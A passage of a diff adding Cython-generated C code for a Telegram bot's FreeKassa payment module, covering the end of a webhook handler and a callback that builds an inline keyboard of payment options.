amount) + * + * return web.Response(status=200) # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L0; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/freekassa_pay.py":70 + * + * + * async def freekassa_webhook(request): # <<<<<<<<<<<<<< + * data = await request.json() + * logging.debug(f" FreeKassa: {data}") + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_AddTraceback("freekassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_10generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/freekassa_pay.py":87 + * + * + * @router.callback_query(lambda c: c.data == "pay_freekassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_freekassa( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_9process_callback_pay_freekassa(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13freekassa_pay_9process_callback_pay_freekassa = {"process_callback_pay_freekassa", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13freekassa_pay_9process_callback_pay_freekassa, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_9process_callback_pay_freekassa(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_freekassa (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 87, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 87, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_freekassa", 1, 2, 2, 1); __PYX_ERR(0, 87, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_freekassa") < 0)) __PYX_ERR(0, 87, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_callback_pay_freekassa", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 87, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_callback_pay_freekassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13freekassa_pay_8process_callback_pay_freekassa(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_8process_callback_pay_freekassa(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_callback_pay_freekassa", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 87, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13freekassa_pay_10generator2, __pyx_codeobj__6, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_freekassa, __pyx_n_s_process_callback_pay_freekassa, __pyx_n_s_handlers_payments_freekassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_callback_pay_freekassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_10generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + Py_ssize_t __pyx_t_5; + PyObject *(*__pyx_t_6)(PyObject *); + Py_ssize_t __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + int __pyx_t_9; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_freekassa", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L8_resume_from_await; + case 2: goto __pyx_L9_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 87, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":91 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":92 + * ): + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = PyObject_Length(__pyx_t_1); if (unlikely(__pyx_t_5 == ((Py_ssize_t)-1))) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyInt_FromSsize_t(__pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_int_0); + __Pyx_GIVEREF(__pyx_int_0); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_int_0)) __PYX_ERR(0, 92, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_1); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error); + __Pyx_INCREF(__pyx_int_2); + __Pyx_GIVEREF(__pyx_int_2); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_int_2)) __PYX_ERR(0, 92, __pyx_L1_error); + __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (likely(PyList_CheckExact(__pyx_t_1)) || PyTuple_CheckExact(__pyx_t_1)) { + __pyx_t_2 = __pyx_t_1; __Pyx_INCREF(__pyx_t_2); + __pyx_t_5 = 0; + __pyx_t_6 = NULL; + } else { + __pyx_t_5 = -1; __pyx_t_2 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 92, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + for (;;) { + if (likely(!__pyx_t_6)) { + if (likely(PyList_CheckExact(__pyx_t_2))) { + { + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_2); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 92, __pyx_L1_error) + #endif + if (__pyx_t_5 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_1 = PyList_GET_ITEM(__pyx_t_2, __pyx_t_5); __Pyx_INCREF(__pyx_t_1); __pyx_t_5++; if (unlikely((0 < 0))) __PYX_ERR(0, 92, __pyx_L1_error) + #else + __pyx_t_1 = __Pyx_PySequence_ITEM(__pyx_t_2, __pyx_t_5); __pyx_t_5++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + #endif + } else { + { + Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_2); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 92, __pyx_L1_error) + #endif + if (__pyx_t_5 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_1 = PyTuple_GET_ITEM(__pyx_t_2, __pyx_t_5); __Pyx_INCREF(__pyx_t_1); __pyx_t_5++; if (unlikely((0 < 0))) __PYX_ERR(0, 92, __pyx_L1_error) + #else + __pyx_t_1 = __Pyx_PySequence_ITEM(__pyx_t_2, __pyx_t_5); __pyx_t_5++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + #endif + } + } else { + __pyx_t_1 = __pyx_t_6(__pyx_t_2); + if (unlikely(!__pyx_t_1)) { + PyObject* exc_type = PyErr_Occurred(); + if (exc_type) { + if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); + else __PYX_ERR(0, 92, __pyx_L1_error) + } + break; + } + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_i); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_i, __pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":93 + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + __pyx_t_1 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_7 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_7 == ((Py_ssize_t)-1))) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = PyObject_RichCompare(__pyx_t_1, __pyx_t_3, Py_LT); __Pyx_XGOTREF(__pyx_t_8); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_8); if (unlikely((__pyx_t_9 < 0))) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (__pyx_t_9) { + + /* "handlers/payments/freekassa_pay.py":94 + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/freekassa_pay.py":95 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 95, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/freekassa_pay.py":96 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + */ + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/freekassa_pay.py":97 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * InlineKeyboardButton( + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_freekassa_2, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/freekassa_pay.py":95 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 95, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/freekassa_pay.py":99 + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 99, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + + /* "handlers/payments/freekassa_pay.py":100 + * ), + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], # <<<<<<<<<<<<<< + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + * ), + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/freekassa_pay.py":101 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 101, 